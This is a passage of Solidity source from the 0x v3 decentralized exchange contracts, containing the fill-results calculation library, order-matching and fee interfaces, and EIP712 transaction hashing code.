Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
library LibFillResults {
using LibSafeMath for uint256;
struct BatchMatchedFillResults {
FillResults[] left; // Fill results for left orders
FillResults[] right; // Fill results for right orders
uint256 profitInLeftMakerAsset; // Profit taken from left makers
uint256 profitInRightMakerAsset; // Profit taken from right makers
}
struct FillResults {
uint256 makerAssetFilledAmount; // Total amount of makerAsset(s) filled.
uint256 takerAssetFilledAmount; // Total amount of takerAsset(s) filled.
uint256 makerFeePaid; // Total amount of fees paid by maker(s) to feeRecipient(s).
uint256 takerFeePaid; // Total amount of fees paid by taker to feeRecipients(s).
uint256 protocolFeePaid; // Total amount of fees paid by taker to the staking contract.
}
struct MatchedFillResults {
FillResults left; // Amounts filled and fees paid of left order.
FillResults right; // Amounts filled and fees paid of right order.
uint256 profitInLeftMakerAsset; // Profit taken from the left maker
uint256 profitInRightMakerAsset; // Profit taken from the right maker
}
/// @dev Calculates amounts filled and fees paid by maker and taker.
/// @param order to be filled.
/// @param takerAssetFilledAmount Amount of takerAsset that will be filled.
/// @param protocolFeeMultiplier The current protocol fee of the exchange contract.
/// @param gasPrice The gasprice of the transaction. This is provided so that the function call can continue
/// to be pure rather than view.
/// @return fillResults Amounts filled and fees paid by maker and taker.
function calculateFillResults(
LibOrder.Order memory order,
uint256 takerAssetFilledAmount,
uint256 protocolFeeMultiplier,
uint256 gasPrice
)
internal
pure
returns (FillResults memory fillResults)
{
// Compute proportional transfer amounts
fillResults.takerAssetFilledAmount = takerAssetFilledAmount;
fillResults.makerAssetFilledAmount = LibMath.safeGetPartialAmountFloor(
takerAssetFilledAmount,
order.takerAssetAmount,
order.makerAssetAmount
);
fillResults.makerFeePaid = LibMath.safeGetPartialAmountFloor(
takerAssetFilledAmount,
order.takerAssetAmount,
order.makerFee
);
fillResults.takerFeePaid = LibMath.safeGetPartialAmountFloor(
takerAssetFilledAmount,
order.takerAssetAmount,
order.takerFee
);
// Compute the protocol fee that should be paid for a single fill.
fillResults.protocolFeePaid = gasPrice.safeMul(protocolFeeMultiplier);
return fillResults;
}
/// @dev Calculates fill amounts for the matched orders.
/// Each order is filled at their respective price point. However, the calculations are
/// carried out as though the orders are both being filled at the right order's price point.
/// The profit made by the leftOrder order goes to the taker (who matched the two orders).
/// @param leftOrder First order to match.
/// @param rightOrder Second order to match.
/// @param leftOrderTakerAssetFilledAmount Amount of left order already filled.
/// @param rightOrderTakerAssetFilledAmount Amount of right order already filled.
/// @param protocolFeeMultiplier The current protocol fee of the exchange contract.
/// @param gasPrice The gasprice of the transaction. This is provided so that the function call can continue
/// to be pure rather than view.
/// @param shouldMaximallyFillOrders A value that indicates whether or not this calculation should use
/// the maximal fill order matching strategy.
/// @param matchedFillResults Amounts to fill and fees to pay by maker and taker of matched orders.
function calculateMatchedFillResults(
LibOrder.Order memory leftOrder,
LibOrder.Order memory rightOrder,
uint256 leftOrderTakerAssetFilledAmount,
uint256 rightOrderTakerAssetFilledAmount,
uint256 protocolFeeMultiplier,
uint256 gasPrice,
bool shouldMaximallyFillOrders
)
internal
pure
returns (MatchedFillResults memory matchedFillResults)
{
// Derive maker asset amounts for left & right orders, given store taker assert amounts
uint256 leftTakerAssetAmountRemaining = leftOrder.takerAssetAmount.safeSub(leftOrderTakerAssetFilledAmount);
uint256 leftMakerAssetAmountRemaining = LibMath.safeGetPartialAmountFloor(
leftOrder.makerAssetAmount,
leftOrder.takerAssetAmount,
leftTakerAssetAmountRemaining
);
uint256 rightTakerAssetAmountRemaining = rightOrder.takerAssetAmount.safeSub(rightOrderTakerAssetFilledAmount);
uint256 rightMakerAssetAmountRemaining = LibMath.safeGetPartialAmountFloor(
rightOrder.makerAssetAmount,
rightOrder.takerAssetAmount,
rightTakerAssetAmountRemaining
);
// Maximally fill the orders and pay out profits to the matcher in one or both of the maker assets.
if (shouldMaximallyFillOrders) {
matchedFillResults = _calculateMatchedFillResultsWithMaximalFill(
leftOrder,
rightOrder,
leftMakerAssetAmountRemaining,
leftTakerAssetAmountRemaining,
rightMakerAssetAmountRemaining,
rightTakerAssetAmountRemaining
);
} else {
matchedFillResults = _calculateMatchedFillResults(
leftOrder,
rightOrder,
leftMakerAssetAmountRemaining,
leftTakerAssetAmountRemaining,
rightMakerAssetAmountRemaining,
rightTakerAssetAmountRemaining
);
}
// Compute fees for left order
matchedFillResults.left.makerFeePaid = LibMath.safeGetPartialAmountFloor(
matchedFillResults.left.makerAssetFilledAmount,
leftOrder.makerAssetAmount,
leftOrder.makerFee
);
matchedFillResults.left.takerFeePaid = LibMath.safeGetPartialAmountFloor(
matchedFillResults.left.takerAssetFilledAmount,
leftOrder.takerAssetAmount,
leftOrder.takerFee
);
// Compute fees for right order
matchedFillResults.right.makerFeePaid = LibMath.safeGetPartialAmountFloor(
matchedFillResults.right.makerAssetFilledAmount,
rightOrder.makerAssetAmount,
rightOrder.makerFee
);
matchedFillResults.right.takerFeePaid = LibMath.safeGetPartialAmountFloor(
matchedFillResults.right.takerAssetFilledAmount,
rightOrder.takerAssetAmount,
rightOrder.takerFee
);
// Compute the protocol fee that should be paid for a single fill. In this
// case this should be made the protocol fee for both the left and right orders.
uint256 protocolFee = gasPrice.safeMul(protocolFeeMultiplier);
matchedFillResults.left.protocolFeePaid = protocolFee;
matchedFillResults.right.protocolFeePaid = protocolFee;
// Return fill results
return matchedFillResults;
}
/// @dev Adds properties of both FillResults instances.
/// @param fillResults1 The first FillResults.
/// @param fillResults2 The second FillResults.
/// @return The sum of both fill results.
function addFillResults(
FillResults memory fillResults1,
FillResults memory fillResults2
)
internal
pure
returns (FillResults memory totalFillResults)
{
totalFillResults.makerAssetFilledAmount = fillResults1.makerAssetFilledAmount.safeAdd(fillResults2.makerAssetFilledAmount);
totalFillResults.takerAssetFilledAmount = fillResults1.takerAssetFilledAmount.safeAdd(fillResults2.takerAssetFilledAmount);
totalFillResults.makerFeePaid = fillResults1.makerFeePaid.safeAdd(fillResults2.makerFeePaid);
totalFillResults.takerFeePaid = fillResults1.takerFeePaid.safeAdd(fillResults2.takerFeePaid);
totalFillResults.protocolFeePaid = fillResults1.protocolFeePaid.safeAdd(fillResults2.protocolFeePaid);
return totalFillResults;
}
/// @dev Calculates part of the matched fill results for a given situation using the fill strategy that only
/// awards profit denominated in the left maker asset.
/// @param leftOrder The left order in the order matching situation.
/// @param rightOrder The right order in the order matching situation.
/// @param leftMakerAssetAmountRemaining The amount of the left order maker asset that can still be filled.
/// @param leftTakerAssetAmountRemaining The amount of the left order taker asset that can still be filled.
/// @param rightMakerAssetAmountRemaining The amount of the right order maker asset that can still be filled.
/// @param rightTakerAssetAmountRemaining The amount of the right order taker asset that can still be filled.
/// @return MatchFillResults struct that does not include fees paid.
function _calculateMatchedFillResults(
LibOrder.Order memory leftOrder,
LibOrder.Order memory rightOrder,
uint256 leftMakerAssetAmountRemaining,
uint256 leftTakerAssetAmountRemaining,
uint256 rightMakerAssetAmountRemaining,
uint256 rightTakerAssetAmountRemaining
)
private
pure
returns (MatchedFillResults memory matchedFillResults)
{
// Calculate fill results for maker and taker assets: at least one order will be fully filled.
// The maximum amount the left maker can buy is `leftTakerAssetAmountRemaining`
// The maximum amount the right maker can sell is `rightMakerAssetAmountRemaining`
// We have two distinct cases for calculating the fill results:
// Case 1.
// If the left maker can buy more than the right maker can sell, then only the right order is fully filled.
// If the left maker can buy exactly what the right maker can sell, then both orders are fully filled.
// Case 2.
// If the left maker cannot buy more than the right maker can sell, then only the left order is fully filled.
// Case 3.
// If the left maker can buy exactly as much as the right maker can sell, then both orders are fully filled.
if (leftTakerAssetAmountRemaining > rightMakerAssetAmountRemaining) {
// Case 1: Right order is fully filled
matchedFillResults = _calculateCompleteRightFill(
leftOrder,
rightMakerAssetAmountRemaining,
rightTakerAssetAmountRemaining
);
} else if (leftTakerAssetAmountRemaining < rightMakerAssetAmountRemaining) {
// Case 2: Left order is fully filled
matchedFillResults.left.makerAssetFilledAmount = leftMakerAssetAmountRemaining;
matchedFillResults.left.takerAssetFilledAmount = leftTakerAssetAmountRemaining;
matchedFillResults.right.makerAssetFilledAmount = leftTakerAssetAmountRemaining;
// Round up to ensure the maker's exchange rate does not exceed the price specified by the order.
// We favor the maker when the exchange rate must be rounded.
matchedFillResults.right.takerAssetFilledAmount = LibMath.safeGetPartialAmountCeil(
rightOrder.takerAssetAmount,
rightOrder.makerAssetAmount,
leftTakerAssetAmountRemaining // matchedFillResults.right.makerAssetFilledAmount
);
} else {
// leftTakerAssetAmountRemaining == rightMakerAssetAmountRemaining
// Case 3: Both orders are fully filled. Technically, this could be captured by the above cases, but
// this calculation will be more precise since it does not include rounding.
matchedFillResults = _calculateCompleteFillBoth(
leftMakerAssetAmountRemaining,
leftTakerAssetAmountRemaining,
rightMakerAssetAmountRemaining,
rightTakerAssetAmountRemaining
);
}
// Calculate amount given to taker
matchedFillResults.profitInLeftMakerAsset = matchedFillResults.left.makerAssetFilledAmount.safeSub(
matchedFillResults.right.takerAssetFilledAmount
);
return matchedFillResults;
}
/// @dev Calculates part of the matched fill results for a given situation using the maximal fill order matching
/// strategy.
/// @param leftOrder The left order in the order matching situation.
/// @param rightOrder The right order in the order matching situation.
/// @param leftMakerAssetAmountRemaining The amount of the left order maker asset that can still be filled.
/// @param leftTakerAssetAmountRemaining The amount of the left order taker asset that can still be filled.
/// @param rightMakerAssetAmountRemaining The amount of the right order maker asset that can still be filled.
/// @param rightTakerAssetAmountRemaining The amount of the right order taker asset that can still be filled.
/// @return MatchFillResults struct that does not include fees paid.
function _calculateMatchedFillResultsWithMaximalFill(
LibOrder.Order memory leftOrder,
LibOrder.Order memory rightOrder,
uint256 leftMakerAssetAmountRemaining,
uint256 leftTakerAssetAmountRemaining,
uint256 rightMakerAssetAmountRemaining,
uint256 rightTakerAssetAmountRemaining
)
private
pure
returns (MatchedFillResults memory matchedFillResults)
{
// If a maker asset is greater than the opposite taker asset, than there will be a spread denominated in that maker asset.
bool doesLeftMakerAssetProfitExist = leftMakerAssetAmountRemaining > rightTakerAssetAmountRemaining;
bool doesRightMakerAssetProfitExist = rightMakerAssetAmountRemaining > leftTakerAssetAmountRemaining;
// Calculate the maximum fill results for the maker and taker assets. At least one of the orders will be fully filled.
//
// The maximum that the left maker can possibly buy is the amount that the right order can sell.
// The maximum that the right maker can possibly buy is the amount that the left order can sell.
//
// If the left order is fully filled, profit will be paid out in the left maker asset. If the right order is fully filled,
// the profit will be out in the right maker asset.
//
// There are three cases to consider:
// Case 1.
// If the left maker can buy more than the right maker can sell, then only the right order is fully filled.
// Case 2.
// If the right maker can buy more than the left maker can sell, then only the right order is fully filled.
// Case 3.
// If the right maker can sell the max of what the left maker can buy and the left maker can sell the max of
// what the right maker can buy, then both orders are fully filled.
if (leftTakerAssetAmountRemaining > rightMakerAssetAmountRemaining) {
// Case 1: Right order is fully filled with the profit paid in the left makerAsset
matchedFillResults = _calculateCompleteRightFill(
leftOrder,
rightMakerAssetAmountRemaining,
rightTakerAssetAmountRemaining
);
} else if (rightTakerAssetAmountRemaining > leftMakerAssetAmountRemaining) {
// Case 2: Left order is fully filled with the profit paid in the right makerAsset.
matchedFillResults.left.makerAssetFilledAmount = leftMakerAssetAmountRemaining;
matchedFillResults.left.takerAssetFilledAmount = leftTakerAssetAmountRemaining;
// Round down to ensure the right maker's exchange rate does not exceed the price specified by the order.
// We favor the right maker when the exchange rate must be rounded and the profit is being paid in the
// right maker asset.
matchedFillResults.right.makerAssetFilledAmount = LibMath.safeGetPartialAmountFloor(
rightOrder.makerAssetAmount,
rightOrder.takerAssetAmount,
leftMakerAssetAmountRemaining
);
matchedFillResults.right.takerAssetFilledAmount = leftMakerAssetAmountRemaining;
} else {
// Case 3: The right and left orders are fully filled
matchedFillResults = _calculateCompleteFillBoth(
leftMakerAssetAmountRemaining,
leftTakerAssetAmountRemaining,
rightMakerAssetAmountRemaining,
rightTakerAssetAmountRemaining
);
}
// Calculate amount given to taker in the left order's maker asset if the left spread will be part of the profit.
if (doesLeftMakerAssetProfitExist) {
matchedFillResults.profitInLeftMakerAsset = matchedFillResults.left.makerAssetFilledAmount.safeSub(
matchedFillResults.right.takerAssetFilledAmount
);
}
// Calculate amount given to taker in the right order's maker asset if the right spread will be part of the profit.
if (doesRightMakerAssetProfitExist) {
matchedFillResults.profitInRightMakerAsset = matchedFillResults.right.makerAssetFilledAmount.safeSub(
matchedFillResults.left.takerAssetFilledAmount
);
}
return matchedFillResults;
}
/// @dev Calculates the fill results for the maker and taker in the order matching and writes the results
/// to the fillResults that are being collected on the order. Both orders will be fully filled in this
/// case.
/// @param leftMakerAssetAmountRemaining The amount of the left maker asset that is remaining to be filled.
/// @param leftTakerAssetAmountRemaining The amount of the left taker asset that is remaining to be filled.
/// @param rightMakerAssetAmountRemaining The amount of the right maker asset that is remaining to be filled.
/// @param rightTakerAssetAmountRemaining The amount of the right taker asset that is remaining to be filled.
/// @return MatchFillResults struct that does not include fees paid or spreads taken.
function _calculateCompleteFillBoth(
uint256 leftMakerAssetAmountRemaining,
uint256 leftTakerAssetAmountRemaining,
uint256 rightMakerAssetAmountRemaining,
uint256 rightTakerAssetAmountRemaining
)
private
pure
returns (MatchedFillResults memory matchedFillResults)
{
// Calculate the fully filled results for both orders.
matchedFillResults.left.makerAssetFilledAmount = leftMakerAssetAmountRemaining;
matchedFillResults.left.takerAssetFilledAmount = leftTakerAssetAmountRemaining;
matchedFillResults.right.makerAssetFilledAmount = rightMakerAssetAmountRemaining;
matchedFillResults.right.takerAssetFilledAmount = rightTakerAssetAmountRemaining;
return matchedFillResults;
}
/// @dev Calculates the fill results for the maker and taker in the order matching and writes the results
/// to the fillResults that are being collected on the order.
/// @param leftOrder The left order that is being maximally filled. All of the information about fill amounts
/// can be derived from this order and the right asset remaining fields.
/// @param rightMakerAssetAmountRemaining The amount of the right maker asset that is remaining to be filled.
/// @param rightTakerAssetAmountRemaining The amount of the right taker asset that is remaining to be filled.
/// @return MatchFillResults struct that does not include fees paid or spreads taken.
function _calculateCompleteRightFill(
LibOrder.Order memory leftOrder,
uint256 rightMakerAssetAmountRemaining,
uint256 rightTakerAssetAmountRemaining
)
private
pure
returns (MatchedFillResults memory matchedFillResults)
{
matchedFillResults.right.makerAssetFilledAmount = rightMakerAssetAmountRemaining;
matchedFillResults.right.takerAssetFilledAmount = rightTakerAssetAmountRemaining;
matchedFillResults.left.takerAssetFilledAmount = rightMakerAssetAmountRemaining;
// Round down to ensure the left maker's exchange rate does not exceed the price specified by the order.
// We favor the left maker when the exchange rate must be rounded and the profit is being paid in the
// left maker asset.
matchedFillResults.left.makerAssetFilledAmount = LibMath.safeGetPartialAmountFloor(
leftOrder.makerAssetAmount,
leftOrder.takerAssetAmount,
rightMakerAssetAmountRemaining
);
return matchedFillResults;
}
}
contract IExchangeCore {
// Fill event is emitted whenever an order is filled.
event Fill(
address indexed makerAddress, // Address that created the order.
address indexed feeRecipientAddress, // Address that received fees.
bytes makerAssetData, // Encoded data specific to makerAsset.
bytes takerAssetData, // Encoded data specific to takerAsset.
bytes makerFeeAssetData, // Encoded data specific to makerFeeAsset.
bytes takerFeeAssetData, // Encoded data specific to takerFeeAsset.
bytes32 indexed orderHash, // EIP712 hash of order (see LibOrder.getTypedDataHash).
address takerAddress, // Address that filled the order.
address senderAddress, // Address that called the Exchange contract (msg.sender).
uint256 makerAssetFilledAmount, // Amount of makerAsset sold by maker and bought by taker.
uint256 takerAssetFilledAmount, // Amount of takerAsset sold by taker and bought by maker.
uint256 makerFeePaid, // Amount of makerFeeAssetData paid to feeRecipient by maker.
uint256 takerFeePaid, // Amount of takerFeeAssetData paid to feeRecipient by taker.
uint256 protocolFeePaid // Amount of eth or weth paid to the staking contract.
);
// Cancel event is emitted whenever an individual order is cancelled.
event Cancel(
address indexed makerAddress, // Address that created the order.
address indexed feeRecipientAddress, // Address that would have recieved fees if order was filled.
bytes makerAssetData, // Encoded data specific to makerAsset.
bytes takerAssetData, // Encoded data specific to takerAsset.
address senderAddress, // Address that called the Exchange contract (msg.sender).
bytes32 indexed orderHash // EIP712 hash of order (see LibOrder.getTypedDataHash).
);
// CancelUpTo event is emitted whenever `cancelOrdersUpTo` is executed succesfully.
event CancelUpTo(
address indexed makerAddress, // Orders cancelled must have been created by this address.
address indexed orderSenderAddress, // Orders cancelled must have a `senderAddress` equal to this address.
uint256 orderEpoch // Orders with specified makerAddress and senderAddress with a salt less than this value are considered cancelled.
);
/// @dev Cancels all orders created by makerAddress with a salt less than or equal to the targetOrderEpoch
/// and senderAddress equal to msg.sender (or null address if msg.sender == makerAddress).
/// @param targetOrderEpoch Orders created with a salt less or equal to this value will be cancelled.
function cancelOrdersUpTo(uint256 targetOrderEpoch)
external
payable;
/// @dev Fills the input order.
/// @param order Order struct containing order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signature Proof that order has been created by maker.
/// @return Amounts filled and fees paid by maker and taker.
function fillOrder(
LibOrder.Order memory order,
uint256 takerAssetFillAmount,
bytes memory signature
)
public
payable
returns (LibFillResults.FillResults memory fillResults);
/// @dev After calling, the order can not be filled anymore.
/// @param order Order struct containing order specifications.
function cancelOrder(LibOrder.Order memory order)
public
payable;
/// @dev Gets information about an order: status, hash, and amount filled.
/// @param order Order to gather information on.
/// @return OrderInfo Information about the order and its state.
/// See LibOrder.OrderInfo for a complete description.
function getOrderInfo(LibOrder.Order memory order)
public
view
returns (LibOrder.OrderInfo memory orderInfo);
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract IProtocolFees {
// Logs updates to the protocol fee multiplier.
event ProtocolFeeMultiplier(uint256 oldProtocolFeeMultiplier, uint256 updatedProtocolFeeMultiplier);
// Logs updates to the protocolFeeCollector address.
event ProtocolFeeCollectorAddress(address oldProtocolFeeCollector, address updatedProtocolFeeCollector);
/// @dev Allows the owner to update the protocol fee multiplier.
/// @param updatedProtocolFeeMultiplier The updated protocol fee multiplier.
function setProtocolFeeMultiplier(uint256 updatedProtocolFeeMultiplier)
external;
/// @dev Allows the owner to update the protocolFeeCollector address.
/// @param updatedProtocolFeeCollector The updated protocolFeeCollector contract address.
function setProtocolFeeCollectorAddress(address updatedProtocolFeeCollector)
external;
/// @dev Returns the protocolFeeMultiplier
function protocolFeeMultiplier()
external
view
returns (uint256);
/// @dev Returns the protocolFeeCollector address
function protocolFeeCollector()
external
view
returns (address);
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract IMatchOrders {
/// @dev Match complementary orders that have a profitable spread.
/// Each order is filled at their respective price point, and
/// the matcher receives a profit denominated in the left maker asset.
/// @param leftOrders Set of orders with the same maker / taker asset.
/// @param rightOrders Set of orders to match against `leftOrders`
/// @param leftSignatures Proof that left orders were created by the left makers.
/// @param rightSignatures Proof that right orders were created by the right makers.
/// @return batchMatchedFillResults Amounts filled and profit generated.
function batchMatchOrders(
LibOrder.Order[] memory leftOrders,
LibOrder.Order[] memory rightOrders,
bytes[] memory leftSignatures,
bytes[] memory rightSignatures
)
public
payable
returns (LibFillResults.BatchMatchedFillResults memory batchMatchedFillResults);
/// @dev Match complementary orders that have a profitable spread.
/// Each order is maximally filled at their respective price point, and
/// the matcher receives a profit denominated in either the left maker asset,
/// right maker asset, or a combination of both.
/// @param leftOrders Set of orders with the same maker / taker asset.
/// @param rightOrders Set of orders to match against `leftOrders`
/// @param leftSignatures Proof that left orders were created by the left makers.
/// @param rightSignatures Proof that right orders were created by the right makers.
/// @return batchMatchedFillResults Amounts filled and profit generated.
function batchMatchOrdersWithMaximalFill(
LibOrder.Order[] memory leftOrders,
LibOrder.Order[] memory rightOrders,
bytes[] memory leftSignatures,
bytes[] memory rightSignatures
)
public
payable
returns (LibFillResults.BatchMatchedFillResults memory batchMatchedFillResults);
/// @dev Match two complementary orders that have a profitable spread.
/// Each order is filled at their respective price point. However, the calculations are
/// carried out as though the orders are both being filled at the right order's price point.
/// The profit made by the left order goes to the taker (who matched the two orders).
/// @param leftOrder First order to match.
/// @param rightOrder Second order to match.
/// @param leftSignature Proof that order was created by the left maker.
/// @param rightSignature Proof that order was created by the right maker.
/// @return matchedFillResults Amounts filled and fees paid by maker and taker of matched orders.
function matchOrders(
LibOrder.Order memory leftOrder,
LibOrder.Order memory rightOrder,
bytes memory leftSignature,
bytes memory rightSignature
)
public
payable
returns (LibFillResults.MatchedFillResults memory matchedFillResults);
/// @dev Match two complementary orders that have a profitable spread.
/// Each order is maximally filled at their respective price point, and
/// the matcher receives a profit denominated in either the left maker asset,
/// right maker asset, or a combination of both.
/// @param leftOrder First order to match.
/// @param rightOrder Second order to match.
/// @param leftSignature Proof that order was created by the left maker.
/// @param rightSignature Proof that order was created by the right maker.
/// @return matchedFillResults Amounts filled by maker and taker of matched orders.
function matchOrdersWithMaximalFill(
LibOrder.Order memory leftOrder,
LibOrder.Order memory rightOrder,
bytes memory leftSignature,
bytes memory rightSignature
)
public
payable
returns (LibFillResults.MatchedFillResults memory matchedFillResults);
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
library LibZeroExTransaction {
using LibZeroExTransaction for ZeroExTransaction;
// Hash for the EIP712 0x transaction schema
// keccak256(abi.encodePacked(
// "ZeroExTransaction(",
// "uint256 salt,",
// "uint256 expirationTimeSeconds,",
// "uint256 gasPrice,",
// "address signerAddress,",
// "bytes data",
// ")"
// ));
bytes32 constant internal _EIP712_ZEROEX_TRANSACTION_SCHEMA_HASH = 0xec69816980a3a3ca4554410e60253953e9ff375ba4536a98adfa15cc71541508;
struct ZeroExTransaction {
uint256 salt; // Arbitrary number to ensure uniqueness of transaction hash.
uint256 expirationTimeSeconds; // Timestamp in seconds at which transaction expires.
uint256 gasPrice; // gasPrice that transaction is required to be executed with.
address signerAddress; // Address of transaction signer.
bytes data; // AbiV2 encoded calldata.
}
/// @dev Calculates the EIP712 typed data hash of a transaction with a given domain separator.
/// @param transaction 0x transaction structure.
/// @return EIP712 typed data hash of the transaction.
function getTypedDataHash(ZeroExTransaction memory transaction, bytes32 eip712ExchangeDomainHash)
internal
pure
returns (bytes32 transactionHash)
{
// Hash the transaction with the domain separator of the Exchange contract.
transactionHash = LibEIP712.hashEIP712Message(
eip712ExchangeDomainHash,
transaction.getStructHash()
);
return transactionHash;
}
/// @dev Calculates EIP712 hash of the 0x transaction struct.
/// @param transaction 0x transaction structure.
/// @return EIP712 hash of the transaction struct.
function getStructHash(ZeroExTransaction memory transaction)
internal
pure
returns (bytes32 result)
{
bytes32 schemaHash = _EIP712_ZEROEX_TRANSACTION_SCHEMA_HASH;
bytes memory data = transaction.data;
uint256 salt = transaction.salt;
uint256 expirationTimeSeconds = transaction.expirationTimeSeconds;
uint256 gasPrice = transaction.gasPrice;
address signerAddress = transaction.signerAddress;
// Assembly for more efficiently computing:
// result = keccak256(abi.encodePacked(
// schemaHash,
// salt,
// expirationTimeSeconds,
// gasPrice,
// uint256(signerAddress),
// keccak256(data)
// ));
assembly {
// Compute hash of data
let dataHash := keccak256(add(data, 32), mload(data))
// Load free memory pointer
let memPtr := mload(64)
mstore(memPtr, schemaHash) // hash of schema
mstore(add(memPtr, 32), salt) // salt
mstore(add(memPtr, 64), expirationTimeSeconds) // expirationTimeSeconds
mstore(add(memPtr, 96), gasPrice) // gasPrice
mstore(add(memPtr, 128), and(signerAddress, 0xffffffffffffffffffffffffffffffffffffffff)) // signerAddress
mstore(add(memPtr, 160), dataHash) // hash of data
// Compute hash
result := keccak256(memPtr, 192)
}
return result;
}
}
contract ISignatureValidator {
// Allowed signature types.
enum SignatureType {
Illegal, // 0x00, default value
Invalid, // 0x01
EIP712, // 0x02
EthSign, // 0x03
Wallet, // 0x04
Validator, // 0x05
PreSigned, // 0x06
EIP1271Wallet, // 0x07
NSignatureTypes // 0x08, number of signature types. Always leave at end.
}
event SignatureValidatorApproval(
address indexed signerAddress, // Address that approves or disapproves a contract to verify signatures.
address indexed validatorAddress, // Address of signature validator contract.
bool isApproved // Approval or disapproval of validator contract.
);
/// @dev Approves a hash on-chain.
/// After presigning a hash, the preSign signature type will become valid for that hash and signer.
/// @param hash Any 32-byte hash.
function preSign(bytes32 hash)
external
payable;
/// @dev Approves/unnapproves a Validator contract to verify signatures on signer's behalf.
/// @param validatorAddress Address of Validator contract.
/// @param approval Approval or disapproval of Validator contract.
function setSignatureValidatorApproval(
address validatorAddress,
bool approval
)
external
payable;
/// @dev Verifies that a hash has been signed by the given signer.
/// @param hash Any 32-byte hash.
/// @param signature Proof that the hash has been signed by signer.
/// @return isValid `true` if the signature is valid for the given hash and signer.
function isValidHashSignature(
bytes32 hash,
address signerAddress,
bytes memory signature
)
public
view
returns (bool isValid);
/// @dev Verifies that a signature for an order is valid.
/// @param order The order.
/// @param signature Proof that the order has been signed by signer.
/// @return isValid true if the signature is valid for the given order and signer.
function isValidOrderSignature(
LibOrder.Order memory order,
bytes memory signature
)
public
view
returns (bool isValid);
/// @dev Verifies that a signature for a transaction is valid.
/// @param transaction The transaction.
/// @param signature Proof that the order has been signed by signer.
/// @return isValid true if the signature is valid for the given transaction and signer.
function isValidTransactionSignature(
LibZeroExTransaction.ZeroExTransaction memory transaction,
bytes memory signature
)
public
view
returns (bool isValid);
/// @dev Verifies that an order, with provided order hash, has been signed
/// by the given signer.
/// @param order The order.
/// @param orderHash The hash of the order.
/// @param signature Proof that the hash has been signed by signer.
/// @return isValid True if the signature is valid for the given order and signer.
function _isValidOrderWithHashSignature(
LibOrder.Order memory order,
bytes32 orderHash,
bytes memory signature
)
internal
view
returns (bool isValid);
/// @dev Verifies that a transaction, with provided order hash, has been signed
/// by the given signer.
/// @param transaction The transaction.
/// @param transactionHash The hash of the transaction.
/// @param signature Proof that the hash has been signed by signer.
/// @return isValid True if the signature is valid for the given transaction and signer.
function _isValidTransactionWithHashSignature(
LibZeroExTransaction.ZeroExTransaction memory transaction,
bytes32 transactionHash,
bytes memory signature
)
internal
view
returns (bool isValid);
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract ITransactions {
// TransactionExecution event is emitted when a ZeroExTransaction is executed.
event TransactionExecution(bytes32 indexed transactionHash);
/// @dev Executes an Exchange method call in the context of signer.
/// @param transaction 0x transaction containing salt, signerAddress, and data.
/// @param signature Proof that transaction has been signed by signer.
/// @return ABI encoded return data of the underlying Exchange function call.
function executeTransaction(
LibZeroExTransaction.ZeroExTransaction memory transaction,
bytes memory signature
)
public
payable
returns (bytes memory);
/// @dev Executes a batch of Exchange method calls in the context of signer(s).
/// @param transactions Array of 0x transactions containing salt, signerAddress, and data.
/// @param signatures Array of proofs that transactions have been signed by signer(s).
/// @return Array containing ABI encoded return data for each of the underlying Exchange function calls.
function batchExecuteTransactions(
LibZeroExTransaction.ZeroExTransaction[] memory transactions,
bytes[] memory signatures
)
public
payable
returns (bytes[] memory);
/// @dev The current function will be called in the context of this address (either 0x transaction signer or `msg.sender`).
/// If calling a fill function, this address will represent the taker.
/// If calling a cancel function, this address will represent the maker.
/// @return Signer of 0x transaction if entry point is `executeTransaction`.
/// `msg.sender` if entry point is any other function.
function _getCurrentContextAddress()
internal
view
returns (address);
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
